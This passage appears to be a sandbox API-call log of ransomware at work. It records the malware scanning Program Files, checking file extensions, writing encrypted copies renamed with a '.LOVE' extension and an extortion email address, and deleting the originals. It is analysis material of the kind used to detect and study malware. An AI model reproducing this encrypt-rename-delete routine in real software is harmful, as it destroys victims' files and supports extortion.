(lpString1=".xls", lpString2=".avi") returned 1 [0198.548] lstrlenW (lpString=".xlsx") returned 5 [0198.548] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0198.548] lstrlenW (lpString=".ppt") returned 4 [0198.548] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0198.548] lstrlenW (lpString=".zip") returned 4 [0198.548] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.548] lstrlenW (lpString=".rar") returned 4 [0198.548] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.548] lstrlenW (lpString=".bz2") returned 4 [0198.548] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.548] lstrlenW (lpString=".7z") returned 3 [0198.548] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0198.548] lstrlenW (lpString=".dbf") returned 4 [0198.548] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0198.548] lstrlenW (lpString=".1cd") returned 4 [0198.548] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0198.548] lstrlenW (lpString=".jpg") returned 4 [0198.548] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.548] lstrcmpiW (lpString1=".avi", lpString2=".LOVE") returned -1 [0198.548] lstrlenW (lpString="join.avi") returned 8 [0198.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0198.549] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=199994) returned 1 [0198.549] CloseHandle (hObject=0x2f0) returned 1 [0198.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0198.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0198.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0198.552] lstrlenW (lpString=".doc") returned 4 [0198.552] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.552] lstrlenW (lpString=".docx") returned 5 [0198.552] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0198.552] lstrlenW (lpString=".pdf") returned 4 [0198.552] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.552] lstrlenW (lpString=".xls") returned 4 [0198.552] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.552] lstrlenW (lpString=".xlsx") returned 5 [0198.552] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0198.552] lstrlenW (lpString=".ppt") returned 4 [0198.552] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0198.553] lstrlenW (lpString=".zip") returned 4 [0198.553] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.553] lstrlenW (lpString=".rar") returned 4 [0198.553] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.553] lstrlenW (lpString=".bz2") returned 4 [0198.553] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.553] lstrlenW (lpString=".7z") returned 3 [0198.553] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0198.553] lstrlenW (lpString=".dbf") returned 4 [0198.553] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0198.553] lstrlenW (lpString=".1cd") returned 4 [0198.553] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0198.553] lstrlenW (lpString=".jpg") returned 4 [0198.553] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0198.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0198.553] lstrlenW (lpString=".doc") returned 4 [0198.553] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.553] lstrlenW (lpString=".docx") returned 5 [0198.553] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0198.553] lstrlenW (lpString=".pdf") returned 4 [0198.553] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.553] lstrlenW (lpString=".xls") returned 4 [0198.553] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.553] lstrlenW (lpString=".xlsx") returned 5 [0198.553] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0198.553] lstrlenW (lpString=".ppt") returned 4 [0198.553] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0198.553] lstrlenW (lpString=".zip") returned 4 [0198.553] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.553] lstrlenW (lpString=".rar") returned 4 [0198.553] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.554] lstrlenW (lpString=".bz2") returned 4 [0198.554] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.554] lstrlenW (lpString=".7z") returned 3 [0198.554] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0198.554] lstrlenW (lpString=".dbf") returned 4 [0198.554] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0198.554] lstrlenW (lpString=".1cd") returned 4 [0198.554] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0198.554] lstrlenW (lpString=".jpg") returned 4 [0198.554] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.554] lstrcmpiW (lpString1=".avi", lpString2=".LOVE") returned -1 [0198.554] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0198.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0198.862] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=1600388) returned 1 [0198.862] CloseHandle (hObject=0x338) returned 1 [0198.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0198.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0 [0198.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0198.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0198.866] lstrlenW (lpString=".doc") returned 4 [0198.866] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.867] lstrlenW (lpString=".docx") returned 5 [0198.867] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0198.867] lstrlenW (lpString=".pdf") returned 4 [0198.867] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.867] lstrlenW (lpString=".xls") returned 4 [0198.867] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.867] lstrlenW (lpString=".xlsx") returned 5 [0198.867] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0198.867] lstrlenW (lpString=".ppt") returned 4 [0198.867] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0198.867] lstrlenW (lpString=".zip") returned 4 [0198.867] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.867] lstrlenW (lpString=".rar") returned 4 [0198.867] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.867] lstrlenW (lpString=".bz2") returned 4 [0198.867] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.867] lstrlenW (lpString=".7z") returned 3 [0198.867] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0198.867] lstrlenW (lpString=".dbf") returned 4 [0198.867] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0201.855] GetLastError () returned 0x0 [0201.855] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x285, lpOverlapped=0x0) returned 1 [0201.867] WriteFile (in: hFile=0x33c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x290, lpOverlapped=0x0) returned 1 [0201.868] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.868] WriteFile (in: hFile=0x33c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xea, lpOverlapped=0x0) returned 1 [0201.868] SetEndOfFile (hFile=0x33c) returned 1 [0201.868] CloseHandle (hObject=0x33c) returned 1 [0201.868] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.868] SetEndOfFile (hFile=0x31c) returned 1 [0201.868] CloseHandle (hObject=0x31c) returned 1 [0201.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x26) returned 1 [0201.869] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0201.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0201.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0201.877] lstrlenW (lpString=".doc") returned 4 [0201.877] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0201.877] lstrlenW (lpString=".docx") returned 5 [0201.877] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0201.877] lstrlenW (lpString=".pdf") returned 4 [0201.877] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0201.877] lstrlenW (lpString=".xls") returned 4 [0201.877] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0201.877] lstrlenW (lpString=".xlsx") returned 5 [0201.877] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0201.877] lstrlenW (lpString=".ppt") returned 4 [0201.877] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0201.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0201.877] lstrlenW (lpString=".zip") returned 4 [0201.877] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0201.877] lstrlenW (lpString=".rar") returned 4 [0201.877] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0201.877] lstrlenW (lpString=".bz2") returned 4 [0201.877] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0201.877] lstrlenW (lpString=".7z") returned 3 [0201.877] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0201.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0201.877] lstrlenW (lpString=".dbf") returned 4 [0201.877] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0201.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0201.877] lstrlenW (lpString=".1cd") returned 4 [0201.877] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0201.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0201.877] lstrlenW (lpString=".jpg") returned 4 [0201.878] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0201.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0201.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0201.878] lstrlenW (lpString=".doc") returned 4 [0201.878] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0201.878] lstrlenW (lpString=".docx") returned 5 [0201.878] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0201.878] lstrlenW (lpString=".pdf") returned 4 [0201.878] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0201.878] lstrlenW (lpString=".xls") returned 4 [0201.878] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0201.878] lstrlenW (lpString=".xlsx") returned 5 [0201.878] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0201.878] lstrlenW (lpString=".ppt") returned 4 [0201.878] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0201.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0201.878] lstrlenW (lpString=".zip") returned 4 [0201.878] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0201.878] lstrlenW (lpString=".rar") returned 4 [0201.878] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0201.878] lstrlenW (lpString=".bz2") returned 4 [0201.878] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0201.878] lstrlenW (lpString=".7z") returned 3 [0201.878] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0201.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0201.878] lstrlenW (lpString=".dbf") returned 4 [0201.878] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0201.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0201.878] lstrlenW (lpString=".1cd") returned 4 [0201.879] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0201.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0201.879] lstrlenW (lpString=".jpg") returned 4 [0201.879] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0201.879] lstrcmpiW (lpString1=".gif", lpString2=".LOVE") returned -1 [0201.879] lstrlenW (lpString="splash.gif") returned 10 [0201.879] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0201.880] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=8590) returned 1 [0201.880] CloseHandle (hObject=0x354) returned 1 [0201.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 0x20 [0201.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.880] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0201.880] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.880] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.880] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0201.880] GetLastError () returned 0x0 [0201.880] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x218e, lpOverlapped=0x0) returned 1 [0201.915] WriteFile (in: hFile=0x358, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x2190, lpOverlapped=0x0) returned 1 [0201.916] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.916] WriteFile (in: hFile=0x358, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xe8, lpOverlapped=0x0) returned 1 [0201.916] SetEndOfFile (hFile=0x358) returned 1 [0201.917] CloseHandle (hObject=0x358) returned 1 [0201.917] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.917] SetEndOfFile (hFile=0x354) returned 1 [0201.918] CloseHandle (hObject=0x354) returned 1 [0201.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0201.919] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1 [0201.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0201.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0201.919] lstrlenW (lpString=".doc") returned 4 [0201.919] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0201.919] lstrlenW (lpString=".docx") returned 5 [0201.919] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0201.919] lstrlenW (lpString=".pdf") returned 4 [0201.919] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0201.919] lstrlenW (lpString=".xls") returned 4 [0201.919] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0201.919] lstrlenW (lpString=".xlsx") returned 5 [0201.920] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0201.920] lstrlenW (lpString=".ppt") returned 4 [0201.920] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0201.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0201.920] lstrlenW (lpString=".zip") returned 4 [0201.920] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0201.920] lstrlenW (lpString=".rar") returned 4 [0201.920] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0201.920] lstrlenW (lpString=".bz2") returned 4 [0201.920] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0201.920] lstrlenW (lpString=".7z") returned 3 [0201.920] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0201.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0201.920] lstrlenW (lpString=".dbf") returned 4 [0201.920] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0201.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0201.920] lstrlenW (lpString=".1cd") returned 4 [0201.920] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0201.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0201.920] lstrlenW (lpString=".jpg") returned 4 [0201.920] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0201.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0201.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0201.920] lstrlenW (lpString=".doc") returned 4 [0201.920] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0201.920] lstrlenW (lpString=".docx") returned 5 [0201.920] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0201.920] lstrlenW (lpString=".pdf") returned 4 [0201.921] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0201.921] lstrlenW (lpString=".xls") returned 4 [0201.921] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0201.921] lstrlenW (lpString=".xlsx") returned 5 [0201.921] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0201.921] lstrlenW (lpString=".ppt") returned 4 [0201.921] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0201.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0201.921] lstrlenW (lpString=".zip") returned 4 [0201.921] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0201.921] lstrlenW (lpString=".rar") returned 4 [0201.921] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0201.921] lstrlenW (lpString=".bz2") returned 4 [0201.921] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0201.921] lstrlenW (lpString=".7z") returned 3 [0201.921] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0201.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0201.921] lstrlenW (lpString=".dbf") returned 4 [0201.921] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0201.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0201.921] lstrlenW (lpString=".1cd") returned 4 [0201.921] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0201.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0201.921] lstrlenW (lpString=".jpg") returned 4 [0201.921] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0201.922] lstrcmpiW (lpString1=".gif", lpString2=".LOVE") returned -1 [0201.922] lstrlenW (lpString="splash_11-lic.gif") returned 17 [0201.922] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0201.922] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=7805) returned 1 [0201.922] CloseHandle (hObject=0x354) returned 1 [0201.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0201.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.922] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 